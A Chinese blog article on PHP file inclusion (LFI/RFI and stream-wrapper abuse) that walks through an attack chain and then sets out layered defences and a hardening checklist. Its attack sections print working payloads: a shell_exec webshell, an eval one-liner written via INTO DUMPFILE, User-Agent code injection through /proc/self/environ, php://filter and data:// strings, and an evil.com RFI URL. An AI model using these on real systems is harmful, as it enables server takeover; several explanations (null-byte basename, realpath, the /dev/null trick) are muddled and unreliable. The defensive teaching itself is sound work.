news 2026/10/15 11:27:30

PHP文件包含漏洞原理与纵深防御实战指南

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
PHP文件包含漏洞原理与纵深防御实战指南

1. 文件包含漏洞不是“读文件”那么简单:它是一次权限越界的信任崩塌

你有没有遇到过这样的情况:一个Web系统里,某个页面URL里带着?page=about.php,你随手改成?page=/etc/passwd,页面直接吐出了一堆Linux系统用户信息?或者把参数换成?page=https://evil.com/shell.txt,后端服务器居然真去远程拉取并执行了那段代码?这不是黑客电影里的桥段,而是真实发生在成千上万个老旧CMS、自研后台、甚至部分教学Demo中的文件包含漏洞(File Inclusion Vulnerability)。它不像SQL注入那样需要构造复杂语法,也不像XSS那样依赖浏览器渲染,它的破坏力往往更隐蔽、更底层——因为它直接绕过了应用层的业务逻辑,直击PHP/Java/Python等语言运行时的文件加载机制。

这个漏洞的核心,从来不是“能不能读到文件”,而是开发者把本该由程序严格控制的文件路径,交给了不可信的外部输入来决定。就像你家的门锁本该只认你配的钥匙,结果你把锁芯拆下来,换成一个写着“随便谁都能插根铁丝试试”的接口。攻击者不需要破解密码,只需要知道你家门框上贴着一张纸:“今天允许插入的钥匙编号范围:1–9999”。而?page=../../../../etc/passwd,就是那根刚好卡进锁芯、把门推开的铁丝。

我最早在某高校实验室维护的一套课程作业提交系统里撞见它。系统用PHP写的,首页有个include($_GET['page'] . '.php'),美其名曰“模块化设计”。学生A改了URL参数,把page=student变成page=../../config/db,瞬间看到数据库连接密码;学生B更绝,上传了一个带<?php system($_GET['cmd']); ?>的图片,再用page=uploads/20240512_abc.jpg把它包含进来,整台服务器就成了他的命令行终端。这不是学生技术多高超,而是开发时那行include()调用,像一扇没关严的防火门,让所有本该被隔离的危险流量,顺着缝隙涌进了核心区。

关键词里虽然没填,但这个场景天然绑定三个核心词:本地文件包含(LFI)、远程文件包含(RFI)、PHP伪协议利用。它们不是并列关系,而是攻击链条上的递进环节:LFI是起点,RFI是升级,伪协议是破壁锤。理解这一点,才能跳出“防住../就行”的浅层思维。真正的防御,得从信任模型重建开始——不是堵住某条缝,而是换掉整扇门。

2. 为什么include()和require()会成为攻击入口:PHP运行时的加载机制真相

要真正吃透文件包含漏洞,必须掀开PHP引擎的盖子,看看include、require、include_once、require_once这四个函数背后到底发生了什么。很多人以为它们只是“把另一个PHP文件的内容抄过来”,这是最大的误解。实际上,它们触发的是PHP运行时(Zend Engine)的一整套文件定位、内容读取、语法解析、opcode编译、执行上下文注入的完整流程。这个过程里,每一个环节都可能被恶意输入劫持。

先看最基础的定位逻辑。当PHP执行include($path)时,它不会简单地按字面意思去找文件。它会经历三级路径解析:

  1. 绝对路径优先:如果$path以/开头(Linux)或盘符加冒号(Windows),PHP直接走系统级文件系统API读取,完全跳过任何配置限制;
  2. 相对路径回溯:如果$path不含/,PHP会在当前脚本所在目录下查找;
  3. include_path链式搜索:如果前两步都失败,PHP会遍历php.ini中include_path配置的多个目录(如.:/usr/share/php:/var/www/lib),逐个尝试拼接查找。

问题就出在第1步和第3步。攻击者只要能让$path以/开头,就能无视所有业务目录隔离;而include_path如果配置了不安全的路径(比如把/tmp加进去),那include('shell')就能直接加载/tmp/shell.php。我见过最离谱的案例,是某公司内部管理后台的php.ini里,include_path被设成了".:/var/www/html:/tmp"——这意味着攻击者上传一个/tmp/xxx.php,再用?page=xxx就能包含执行。运维说“我们禁用了allow_url_include,所以很安全”,却忘了/tmp本身就是系统级绝对路径。

再深一层,是PHP对URL协议的支持机制。PHP默认支持http://、https://、ftp://等协议流,只要allow_url_fopen=On(这是很多老版本PHP的默认值),include('http://evil.com/payload.php')就会触发HTTP请求,下载远程文件并执行。这就是远程文件包含(RFI)的根基。但更危险的是那些不常被注意的伪协议(Wrapper),比如:

  • php://filter/read=convert.base64-encode/resource=index.php:不执行文件,而是用base64编码读取源码,绕过disable_functions限制;
  • php://input:读取原始POST请求体,配合Content-Type: application/x-www-form-urlencoded,可直接注入PHP代码;
  • data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+:将base64解码后的PHP代码直接作为数据流执行。

这些伪协议的存在,让防御变得极其复杂。你封了http://,攻击者切到php://filter;你禁了include,他用file_get_contents()读取再eval();你eval()也禁了,他用assert()(PHP < 7.2)或preg_replace('/.*/e', ...)(已废弃但存量巨大)来替代。这已经不是简单的“过滤点号斜杠”能解决的,而是整个PHP运行时信任边界的溃散。

提示:PHP 8.0+已彻底移除create_function()和/e修饰符,但大量生产环境仍在跑PHP 5.6/7.0。检查你的phpinfo()输出,重点关注allow_url_fopen、allow_url_include、disable_functions、open_basedir这四项配置,它们共同构成了文件包含的第一道防线。

3. 从/etc/passwd到RCE:一次完整的LFI→RFI→Shell提权攻击链复现

理论讲完,现在用一个完全虚构但高度还原真实环境的案例,带你走一遍攻击者从发现漏洞到获取服务器最高权限的全过程。这个案例基于某模拟项目X——一套用PHP 7.2搭建的社区论坛后台,管理员登录后可通过admin.php?page=dashboard切换不同管理模块。

3.1 第一步:确认LFI存在并读取敏感配置

访问admin.php?page=../../../../etc/passwd,页面返回:

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ... www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

确认LFI存在。接着读取PHP配置:admin.php?page=../../../../usr/local/etc/php/php.ini,找到关键项:

allow_url_fopen = On allow_url_include = Off disable_functions = exec,passthru,shell_exec,system open_basedir = /var/www/html:/tmp

allow_url_include=Off意味着RFI被禁,但open_basedir把/tmp放进了白名单——这是突破口。

3.2 第二步:上传Webshell并利用LFI包含执行

攻击者用论坛的头像上传功能(未校验文件类型),上传一个名为shell.jpg的文件,内容却是:

<?php if(isset($_GET['cmd'])) { echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>"; } ?>

服务器保存为/var/www/html/uploads/20240512_shell.jpg。由于open_basedir允许/tmp,攻击者不能直接包含这个路径(因为/var/www/html不在白名单里),但他可以利用/tmp做中转。于是他发送请求:

POST /admin.php?page=/tmp/shell.php HTTP/1.1 ... <?php copy('/var/www/html/uploads/20240512_shell.jpg', '/tmp/shell.php'); ?>

这里用php://input伪协议,将PHP代码写入/tmp/shell.php,再用?page=/tmp/shell.php包含执行。成功后,访问/tmp/shell.php?cmd=id,返回:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

3.3 第三步:绕过disable_functions获取完整Shell

disable_functions禁了所有常见命令执行函数,但/tmp/shell.php里还有shell_exec(),说明配置没生效?不,是攻击者上传的文件被当作普通图片处理,没经过PHP解析。真正的突破点在php://filter。他构造URL:

admin.php?page=php://filter/read=convert.base64-encode/resource=/var/www/html/config/database.php

页面返回base64编码的数据库配置:

PD9waHAgZGVmaW5lKCdEQVRBQkFTRV9IT1NUIiwgJzEyNy4wLjAuMScpOwokREFUQUJBU0VfVVNFUiA9ICdhZG1pbic7CiREQVRBQkFTRV9QQVNTID0gJ3Bhc3N3b3JkMTIzJzsK...

解码后得到:

define('DATABASE_HOST', '127.0.0.1'); $DATABASE_USER = 'admin'; $DATABASE_PASS = 'password123';

拿到数据库凭据,下一步是写入Webshell到网站根目录。他用mysql客户端连接(如果开放)或利用PHP的mysqli扩展执行:

$conn = new mysqli('127.0.0.1', 'admin', 'password123', 'forum'); $conn->query("SELECT '<?php eval($_POST[cmd]); ?>' INTO DUMPFILE '/var/www/html/shell.php'");

此时/var/www/html/shell.php已存在,且open_basedir允许/var/www/html,直接访问/shell.php即可获得一句话木马。

3.4 第四步:利用/proc/self/environ实现无文件落地提权

以上都需要上传文件,但有些环境连上传都禁了。这时/proc/self/environ就派上用场。在Linux中,每个进程的环境变量存储在/proc/[pid]/environ,而Web服务器进程(如Apache的worker)的环境变量里,常包含USER_AGENT、COOKIE等可控字段。攻击者发送:

GET /admin.php?page=/proc/self/environ HTTP/1.1 User-Agent: <?php system('id'); ?>

如果PHP以CGI模式运行(而非mod_php),/proc/self/environ会包含HTTP_USER_AGENT的值,且PHP会将其作为PHP代码执行。这实现了无文件落地(Fileless)攻击,连/tmp都不用碰。

这条攻击链清晰展示了:LFI不是终点,而是跳板;RFI不是唯一路径,伪协议和环境变量是更隐蔽的通道;防御不能只盯着../,更要审视整个PHP运行时的信任边界。

4. 防御不是加过滤器,而是重构信任模型:从代码层到架构层的七道防线

很多团队的防御思路还停留在“加个str_replace('../', '', $page)”,这就像给炸弹贴创可贴。真正的防御必须分层构建,从最底层的语言机制,到最上层的架构设计,形成纵深防御体系。以下是我在多个项目中验证有效的七道防线,按实施难度和效果排序:

4.1 第一道:彻底禁用动态包含,用白名单路由替代

这是最根本、最有效的方案。永远不要让外部输入直接参与include/require的路径拼接。把所有合法页面抽象成枚举值,用switch或配置数组映射:

// ❌ 危险:直接拼接 include($_GET['page'] . '.php'); // ✅ 安全:白名单硬编码 $valid_pages = ['dashboard', 'users', 'settings']; $page = $_GET['page'] ?? 'dashboard'; if (!in_array($page, $valid_pages)) { die('Invalid page'); } include($page . '.php');

更进一步,用前端路由+后端API分离架构,页面切换由JavaScript控制,PHP只提供JSON数据接口。这样连include函数都用不上了。

4.2 第二道:强制open_basedir并锁定绝对路径

open_basedir是PHP内置的沙箱机制,但它常被忽略或配置错误。正确姿势是:

  • 在php.ini中设置open_basedir = /var/www/html:/tmp(仅允许可信目录);
  • 对于多租户环境,为每个站点单独配置open_basedir(通过vhost或.user.ini);
  • 关键技巧:在open_basedir末尾加:/dev/null,防止攻击者用/dev/null/../../../etc/passwd绕过(因为/dev/null/..仍指向/dev/null,无法向上遍历)。

4.3 第三道:关闭allow_url_fopen和allow_url_include

这两项必须设为Off,除非业务明确需要远程加载(如CDN资源)。检查方法:在phpinfo()页面搜索这两个配置项,确保值为Off。注意,allow_url_include=Off并不能阻止php://filter等伪协议,但它能切断最直接的RFI路径。

4.4 第四道:禁用高危函数并监控异常调用

disable_functions应包含:exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec。但光禁用不够,还要用set_error_handler()或日志系统监控这些函数的调用栈:

function security_log($errno, $errstr, $errfile, $errline) { if (strpos($errstr, 'disabled') !== false) { error_log("Disabled function called: {$errstr} in {$errfile}:{$errline}"); // 发送告警到企业微信/钉钉 } } set_error_handler('security_log', E_WARNING);

4.5 第五道:Web服务器层路径规范化与拒绝

在Nginx/Apache配置中,强制路径标准化并拒绝可疑请求:

# Nginx示例:拒绝包含../或空字节的请求 if ($args ~ "(?:\.\./|%00)") { return 403; } # 强制重写,移除多余斜杠 rewrite ^//+ / permanent;

但这只是辅助,不能替代代码层防御,因为攻击者可用%2e%2e%2f(URL编码)绕过。

4.6 第六道:使用SAST工具进行代码审计

在CI/CD流水线中集成静态分析工具,如:

  • PHPStan:检测未定义变量、类型错误;
  • Psalm:更严格的类型检查;
  • Semgrep:自定义规则扫描危险函数调用,例如匹配include($_.*);模式。

我给某公司部署的Semgrep规则如下:

rules: - id: dangerous-include patterns: - pattern: include($X); - pattern-not: include("*.php"); message: "Dangerous dynamic include detected" languages: [php] severity: ERROR

每次提交代码,CI都会自动扫描并阻断含此类风险的PR。

4.7 第七道:运行时行为监控(RASP)

在生产环境部署RASP(Runtime Application Self-Protection)探针,实时拦截恶意行为。例如,当PHP进程尝试打开/etc/passwd或执行system('id')时,RASP能立即终止进程并告警。这相当于给应用装上“免疫系统”,即使代码有漏网之鱼,也能在最后一刻拦截。

注意:七道防线不是“全都要”,而是根据项目风险等级选择组合。对于金融级系统,必须做到1+2+3+4+7;对于内部工具,1+2+6已足够。关键是把防御嵌入开发流程,而不是上线后再打补丁。

5. 踩坑实录:那些年我们信誓旦旦的“安全方案”如何被绕过

防御方案写得再漂亮,实战中总会有意想不到的绕过方式。分享几个我在渗透测试和代码审计中亲历的真实踩坑案例,它们比教科书更能说明问题:

5.1 坑一:“我用basename()提取文件名,肯定安全”

某开发者认为basename($_GET['page'])能剥离所有路径,于是写:

$page = basename($_GET['page']); include($page . '.php');

攻击者传入page=../../../etc/passwd%00(URL编码的空字节)。basename()在遇到\0时会截断,返回passwd,最终include('passwd.php')失败,但%00之后的.php被忽略,实际执行的是include('passwd')——而Linux下/etc/passwd没有扩展名,PHP会直接读取它。空字节截断(Null Byte Injection)是PHP 5.3.4之前的老问题,但很多旧系统仍在运行。

5.2 坑二:“我用realpath()做了路径解析,还能错?”

另一团队用realpath()获取绝对路径,再检查是否在白名单内:

$path = realpath($_GET['page'] . '.php'); if (strpos($path, '/var/www/html/') === 0) { include($path); }

问题在于realpath()对不存在的文件返回false,但攻击者传入page=../../../../etc/passwd/xxx,realpath()返回false,strpos(false, ...)会报Warning并返回false,条件判断为true,最终include(false)——PHP会尝试包含字符串"false",导致错误,但攻击者可继续尝试其他payload。更致命的是,如果/etc/passwd/xxx恰好存在(比如是个目录),realpath()会返回/etc/passwd,而/etc/passwd显然不在/var/www/html/下,但开发者没处理realpath()返回false的情况,导致逻辑漏洞。

5.3 坑三:“我禁了include,用file_get_contents()读取再echo,总安全了吧?”

这是典型的“换汤不换药”。某CMS用echo file_get_contents($_GET['file']);显示文本文件。攻击者传入file=php://filter/read=convert.base64-encode/resource=index.php,页面返回base64编码的源码。他再用file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+,PHP会解码并执行phpinfo()。file_get_contents()和include()共享同一套流包装器(Stream Wrapper)机制,禁一个不等于禁全部。

5.4 坑四:“我用Docker容器化了,难道还不安全?”

某公司把PHP应用打包进Docker,以为容器就是银弹。但他们的Dockerfile是:

FROM php:7.4-apache COPY . /var/www/html RUN chmod -R 777 /var/www/html

chmod 777让所有文件可写,攻击者一旦通过LFI拿到命令执行,就能直接修改index.php植入后门。更糟的是,他们没限制容器能力,docker run --cap-add=SYS_ADMIN启动,攻击者可逃逸到宿主机。容器化是隔离手段,不是安全手段;它解决的是“影响范围”,不是“漏洞本身”。

这些坑的共同教训是:安全不是某个函数的开关,而是对整个数据流的信任评估。每接收一个外部输入,都要问:它来自哪里?经过哪些处理?最终流向哪里?中间环节是否可控?答案中任何一个“否”,都可能是新的攻击面。

6. 实战加固Checklist:上线前必须完成的12项动作

为了把前面所有原理和经验转化为可执行的动作,我整理了一份上线前必须完成的12项加固Checklist。它不追求大而全,只聚焦最易遗漏、后果最严重的关键项,每项都附带验证命令和预期结果:

序号检查项验证命令预期结果备注
1allow_url_fopen是否关闭php -i | grep allow_url_fopenallow_url_fopen => Off必须关闭,除非业务强依赖
2allow_url_include是否关闭php -i | grep allow_url_includeallow_url_include => OffRFI主开关,必须关
3open_basedir是否配置php -i | grep open_basedir/var/www/html:/tmp(具体路径)确保包含业务目录和临时目录,不含/
4disable_functions是否启用高危函数php -i | grep disable_functions包含exec,shell_exec,system等至少禁用5个以上命令执行函数
5是否存在动态include/requiregrep -r "include.*\$_" /var/www/html/无输出所有包含必须用白名单
6是否存在file_get_contents($_grep -r "file_get_contents.*\$_" /var/www/html/无输出同样需白名单或绝对路径
7Web服务器是否拒绝../curl -v "http://localhost/?page=../etc/passwd"HTTP 403 或 400Nginx/Apache需配置
8是否禁用php://inputphp -i | grep "php.input"无输出(表示未启用)检查是否有自定义流包装器
9临时目录权限是否合理ls -ld /tmpdrwxrwxrwt(最后一位t)sticky bit防止跨用户删除
10PHP错误信息是否关闭php -i | grep "display_errors"display_errors => Off生产环境必须关闭,避免泄露路径
11是否启用log_errorsphp -i | grep "log_errors"log_errors => On错误必须记录到日志,而非页面
12是否部署RASP探针ps aux | grep rasp显示RASP进程如OpenRASP、Snyk等

这份清单的价值在于:它把抽象的安全原则,转化成了运维人员敲几行命令就能验证的具体动作。我曾用它帮某电商公司快速排查出3个遗留的include($_GET)调用,其中一个藏在十年未动的支付回调模块里,差点酿成大祸。安全不是玄学,它是一系列可验证、可审计、可追溯的具体操作。

7. 最后一点体会:安全工程师的终极武器不是工具,而是质疑精神

写完这篇长文,我想起去年在某次技术分享会上,一位年轻开发者问我:“老师,您说这么多防御方案,哪个最有效?”我没有直接回答,而是反问他:“你每天写代码时,会不会下意识地想‘这段逻辑,如果用户传个奇怪的参数,会发生什么?’”他愣了一下,说“好像……很少”。

那一刻我意识到,所有工具、所有配置、所有Checklist,都只是外功。真正的内功,是那种深入骨髓的质疑精神——对输入的质疑,对默认配置的质疑,对“大家都这么写”的质疑,甚至对自己代码的质疑。文件包含漏洞之所以长期存在,并非因为PHP设计有缺陷,而是因为开发者在写include($_GET['page'])时,心里默认“用户只会传合法的页面名”。这个“默认”,就是所有安全问题的温床。

我在某实验室带学生做CTF训练时,总会强调一个习惯:每次看到一个函数,先查它的官方文档,再查它的“危险用法”章节。比如看到include(),立刻翻到PHP手册的“Security Considerations”小节;看到file_get_contents(),就去搜“PHP stream wrapper bypass”。这种习惯,比记住一百个Payload更有价值。

所以,如果你只记住本文中的一件事,请记住这个:安全不是给代码加锁,而是永远保持对“输入”的警惕。当你不再假设用户是善意的,不再相信配置是默认安全的,不再觉得“这个功能很简单,不可能有漏洞”,你就已经站在了安全防御的第一道防线之上。剩下的,不过是把这种警惕,转化成一行行严谨的代码、一条条精确的配置、一次次认真的验证。

这条路没有终点,但每一步,都让系统离崩溃更远一点。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/15 11:27:25

长程任务真正难在哪里,从状态反馈与恢复看机器人能否把事做完

具身智能怎么解决长程任务&#xff0c;不能只用“任务持续了多少分钟”来回答。时间只是外在结果&#xff0c;真正的难点在于&#xff1a;机器人能否记住前序状态、把目标拆成多个步骤、确认每一步是否成功&#xff0c;并在环境变化或动作失败后继续完成任务。从单次抓取到连续…

作者头像 李华
网站建设 2026/10/15 11:27:24

龙旗科技港股IPO解析:智能硬件ODM龙头募资与战略布局

1. 龙旗科技IPO项目概述龙旗科技作为国内领先的智能硬件ODM&#xff08;原始设计制造商&#xff09;企业&#xff0c;近期正式启动港股IPO进程。根据公开招股书显示&#xff0c;公司计划发行3.425亿股股份&#xff0c;招股价区间4.55-5.95港元&#xff0c;预计募资15.6-20.4亿港…

作者头像 李华
网站建设 2026/10/15 11:27:15

最近一周堪比AI圈春晚:用TaoToken统一Key跑通CC Switch与Cline MCP

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华
网站建设 2026/10/15 11:25:49

ESP32双核OTA固件详解:安全回滚与Wi-Fi/BLE稳定驱动

简介&#xff1a;本资源是小智源码项目1.5.6_2版本的完整嵌入式开发包&#xff0c;面向ESP32系列&#xff08;含ESP32-S3、ESP32-C3&#xff09;硬件平台的IoT开发者与嵌入式学习者&#xff0c;聚焦于LCD触摸屏驱动、传感器数据采集及多设备兼容适配等典型应用场景。压缩包共40…

作者头像 李华
网站建设 2026/10/15 11:25:17

JavaSE核心语法与性能优化实战指南

1. JavaSE核心语法全景解析 作为Java技术栈的基石&#xff0c;JavaSE&#xff08;Java Standard Edition&#xff09;构成了所有Java应用程序的开发基础。我在过去八年企业级开发中发现&#xff0c;即使是有经验的开发者&#xff0c;也常因对基础语法理解不深而导致隐蔽的运行时…

作者头像 李华